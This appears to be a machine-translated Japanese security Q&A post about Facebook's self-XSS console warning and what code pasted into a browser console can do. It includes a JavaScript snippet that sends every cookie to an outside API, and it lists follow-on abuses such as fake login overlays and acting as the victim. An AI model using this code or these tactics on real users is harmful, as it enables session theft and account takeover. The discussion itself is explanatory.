最近、たまたまFacebookでブラウザコンソールを開くと、次のメッセージが表示されました。
やめる!
これは開発者向けのブラウザ機能です。 Facebookの機能を有効にするため、または誰かのアカウントを「ハッキング」するために何かをここにコピーアンドペーストするように言われた場合、それは詐欺であり、Facebookアカウントへのアクセスを許可します。
詳細は https://www.facebook.com/selfxss を参照してください。
私が最初に思ったのは、これは単にやりすぎで、秘密の嫌いなボタンのロックを解除することを期待してjavascriptをコンソールに盲目的にコピーして貼り付ける無防備なインターネットの人々を追い払うためかもしれないということです。
しかし、私は実際には、Javascriptコンソールからユーザーセッションデータを危険にさらす方法についてもっと考えていました。
document.cookie
変数をループしてすべてのCookieデータをAPIにポストするスクリプトについて考えました。以下のようなもの。
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
for(var i=0 ; i < cookies.length ; ++i) {
var pair = cookies[i].trim().split('=');
xhr.send(JSON.stringify({
name: pair[0],
value: pair[1]
}));
}
しかし、私の理解では、Cookieにhttp-only
フラグを追加すると、JavaScriptやクライアント側からアクセスできないことになります。
では、攻撃者はどのようにして純粋にself-xssでFacebookアカウントを侵害することができますか?
警告は、「Facebookアカウントへのアクセス」に関するものであり、完全な制御ではありません。
Self-XSSは、他のXSSと同様に機能します。 httpOnlyセッションCookieを読み取ることはできませんが、次のことができます。
直接引用 安倍ミースラーの答えから :
「クロスサイトスクリプティング(XSS)攻撃は、攻撃者がWebアプリケーションを使用して、通常はブラウザー側のスクリプトの形式で悪意のあるコードを別のエンドユーザーに送信するときに発生します。」
この定義の最後の部分を強調します。「...別のエンドユーザーに」。
私の考えでは、XSS攻撃と見なされるには、Webサイトにリクエストを送信し、そのサイトに悪意のあるコンテンツで応答させる必要があります。これが発生する可能性がある方法は、通常、2つの異なる方法に分類されます。
被害者にブラウザコンソールに盲目的にテキストを入力するように説得する場合、基本的には、被害者がそのページでJavaScriptスクリプトを直接実行するようにします。これはXSSではありませんXSSですが、セマンティクスは別として、被害者に対して完全なスクリプト実行機能を使用して実行できる他の悪意のある行為があります。
偽のログインページを作成するか、 独自のリソースを追加 (またはオーバーレイ)します。
投稿を送信し、ページで他のアクションを実行します(投稿の高評価、写真の送信など)
すでに述べたように、Cookieにhttp-onlyフラグを設定すると、コンソールからアクセスできなくなりますが、コード実行権限を取得すると利用できるのはこれだけではありません。